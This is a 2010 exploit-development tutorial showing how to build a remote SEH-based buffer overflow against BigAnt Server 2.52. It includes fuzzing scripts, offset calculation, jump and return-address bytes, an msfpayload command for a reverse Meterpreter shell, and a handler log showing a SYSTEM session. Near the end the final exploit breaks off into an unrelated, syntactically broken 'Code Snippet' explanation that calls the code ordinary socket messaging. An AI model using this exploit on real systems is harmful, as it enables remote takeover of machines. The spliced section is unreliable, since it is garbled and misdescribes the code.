“We work in the dark — we do what we can — we give what we have.
Our doubt is our passion and our passion is our task.

The rest is the madness of art.” – Henry James

Remote Buffer Overflow Exploits

```
msf > use exploit/multi/handler
reverse_tcp > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.3
LHOST => 192.168.1.3
msf exploit(handler) > exploit
[*] Started reverse handler on port 4444
[*] Starting the payload handler...
[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.1.3:4444 -> 192.168.1.3
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 
```

©2010 DZZ

Amit Malik(DZZ or DouBle_Zer0)
m.amit30@gmail.com
whitehats
1/4/2010
**Note:** KEEP OUT OF REACH OF CHILDREN. DANGER/SOFTWARE-POISON

Note: This paper is the good explanation of my final video on exploit development basics.

**Introduction:**

“A remote exploit works over a network and exploits the security vulnerability without any prior access to the vulnerable system.” –Wikipedia

In this paper I will try to explain the concepts of Remote Buffer overflow exploits from a practical perspective. This paper doesn’t not explain the concepts of O.S and Processor that are very necessary to understand the exploit development process, doesn’t matter that you are messing with a complex application or a simple application. So it is assumed that readers have some background knowledge about exploits.

**Application under Observation:** BigAnt Server v2.52

**Vulnerability:** A vulnerability has been identified in BigAnt Server, which could be exploited by remote attackers to compromise a vulnerable system. This issue is caused by a buffer overflow when processing an overly long "USV" request, which could be exploited by remote attackers to crash an affected server or execute arbitrary code by sending a specially crafted packet to port 6660/TCP. –Vupen (http://www.vupen.com/english/advisories/2009/3657)

As you can see in the advisory that application is prone to buffer overflow, notice the request “USV”. So on the basis of this information we start our journey of exploit development.

**Development process:**

Ok to verify the vulnerability we quickly write a python script that will send the 3000 A’s(you can choose this value according to your needs 😊) to the application with “USV” request.

Script:

```python
#!/usr/bin/python
```
import sys, socket
host = sys.argv[1] #command line argument
buffer = "\x41" * 3000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #for Tcp
s.connect((host,6660))
s.send("USV " + buffer + "\n\n\n")
s.close()

As you can see in the figure that application status is “stopped” means it verify that application is vulnerable to buffer overflow and it also gives us an idea that 3000 A’s are enough to trigger the overflow. Now our next step is to find out the type of overflow means direct EIP overwrite or SEH(Structured Exception Handler) overwrite and the correct offset means after how many bytes EIP and SEH overwrite occur. On the basis of background application study I can say that direct EIP overwrite is not possible but application allow SEH overwrite so we exploit the application using SEH overwrite method. Now we have to find the offset, means after how
many bytes SEH overwrite occur. To do this we will use metasploit pattern_create script that generate random sequence string.

On backtrack 4 navigate to /pentest/exploits/framework3/tools

Execute ./pattern_create.rb 3000 copy and paste the output in the above script. Now script looks like this.

```python
#!/usr/bin/python
#Author: DouBle_Zer0
import sys, socket
host = sys.argv[1]  # command line argument
buffer = ("Aa0Aa1Aa2Aa3Aa.......v4Dv5Dv6Dv7Dv8Dv9")  # size 3000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  # for Tcp
s.connect((host,6660))
s.send("USV " + buffer + "\r\n\r\n")
s.close()
#End
```

Now attach the application to the DEBUGGER (ollydbg or immunity olly or any other)

In Debugger(immunity or ollydbg) go to File→attach and choose AntServer tcp 6660 and click on attach button. Then click on debugger start button.
Now everything is up and running. execute the script..

./bigant.py 192.168.1.2

Our debugger look like this...

As you can see in the debugger that pointer to SEH record and SE handler are overwritten with our random data means

013CFD7C  31674230  OBg1  Pointer to next SEH record
013CFD80  42326742  Bg2B  SE handler

Now copy 42326742 and go back to metasploit tools and execute

./pattern_offset 42326742 3000
And the output will be 966 means after 966 bytes our seh overwrite occur. Minus 4 bytes for next seh record and now we have 962 bytes. That’s all we need. Now our task is to find out the pop pop ret. But before that I would like to explain something. In a general seh overflow exploit we overwrite the SE Handler with pop pop ret and pointer to next Seh record with a short jump that jump over the SE handler. Means situation looks like this..

[aaaa...][short jump][pop pop ret][nops..][shellcode][nops]

^------------------------->^

Short jump jump over pop pop ret and we land into nops and then execute shellcode.

But in this paper I am using a different approach, and this approach is most widely used to bypass safe seh. Means rather than to jump over SE Handler why not to jump back via short jump.. means the situation looks like this..

[nops][shellcode][near jump][short jump][pop pop ret]

^<------------------------<^

See the difference between both diagrams..take some time to understand this..

Now question is why to use Two jumps?.. because we can not jump 900 bytes back via short jump so we have to use a near jump. We first jump on the near jump via short jump and then jump back to nops via near jump, and Technically speaking we can partial overwrite the SE Handler(pop pop ret ) as we do in most of the cases and that work fine for most of the applications.. But application(BigAnt Server) is slightly different and don’t allow the partial overwrite.(slightly play with application and indentify the problem ☺)

Now it’s time to search for a pop pop ret, you can use findjump tool or debuggers to find out the addresses. The address I am using is 0f9a3295.

So the final exploit structure is..
Nops = “\x90” * 20

Shellcode = from metasploit #using 643 byte shellcode

Nops = “\x90” * 294

Near jump = “\xe9\x4c\xfc\xff\xff” #jump into nop sled (5bytes)

-------------962 bytes-----------------------------------------------

Short jump = “\xeb\xf9\x90\x90” #jump 5 byte back means on near jump

Pop pop ret = “\x95\x32\x9a\x0f” #little endian

Due to application constraints we have to add some garbage after pop pop ret and this is the main reason that we can’t partial overwrite the register.

Garbage = “\x41” * 1000

Now everything is in position butt.. where is shellcode ok let’s generate a reverse meterpreter shellcode.

Command:

```
#.msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.3 R | .msfencode -e x86/alpha_mixed -t c
```

Notice the pipe (|) in the above command (after R).. Ok now everything is ready. Put all things in the script..

```
#!/usr/bin/python

#BigAnt Server 2.52 remote buffer overflow exploit 2
#Author: DouBl3_Zer0
#Vulnerability discovered by Lincoln
#a another version of the original exploit (by Lincoln)
#application is little hazy..

import sys,socket

host = sys.argv[1]
buffer= "\x90" * 20
```
### Code Snippet

```bash
#!/usr/bin/env python

import socket

# Define the IP address and port for the server
HOST = '192.168.1.3'
PORT = 90

# Create a socket object
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Connect to the server at specified port
sock.connect((HOST, PORT))

# Send a message to the server
sock.send('USV ' + buffer + '

# Close the socket connection
sock.close()
```

### Explanation

This code snippet is designed to connect to a server via a socket and send a message to it. The server's IP address and port are specified at the beginning. The `socket` module from Python is used to create a socket and connect to the server. A message is then sent to the server using the `send()` method, and finally, the socket connection is closed using the `close()` method.

### Relevant Knowledge

- The `socket` module in Python provides a way to create and manipulate sockets for network communication.
- The `AF_INET` and `SOCK_STREAM` parameters are used to specify the address family (IPv4) and the socket type (stream), respectively.
- The `connect()` method is used to establish a connection to a server.
- The `send()` method is used to send data over the socket.
- The `close()` method is used to close the socket connection.

### Additional Details

- This code snippet appears to be a part of a larger script or program, possibly related to network communication or testing.
- The message sent to the server is not specified in the code snippet provided.
- To use this code, you would need to replace the IP address and port with the correct values for your application.

---

**Note:** The provided code snippet is a representation of Python code, which is a high-level, interpreted, and general-purpose programming language. It is designed to be easy to read and write, with a clean, simple syntax. The code is intended to connect to a server and send a message, closing the connection when done. This type of code is commonly used in network programming to test or interact with network services.
```
s.close()
```

OR

```
http://www.exploit-db.com/exploits/10973
```

Start metasploit multi handler and boom meterpreter shell is in your hands. Now you can control the remote machine and can do anything means anything...

Fig:
For Videos and other stuff visit:
http://www.vimeo.com/doublezer0/videos

Findjump Tool:

Stuff:

Advisory to Exploit Using Metasploit:
www.metasploit.com/redmine/attachments/download/95

http://www.ngssoftware.com/papers/

http://www.intel.com/products/processor/manuals/

http://www.uninformed.org/


http://www.offensive-security.com/metasploit-unleashed/

http://www.exploit-db.com/papers/


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~THE END~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~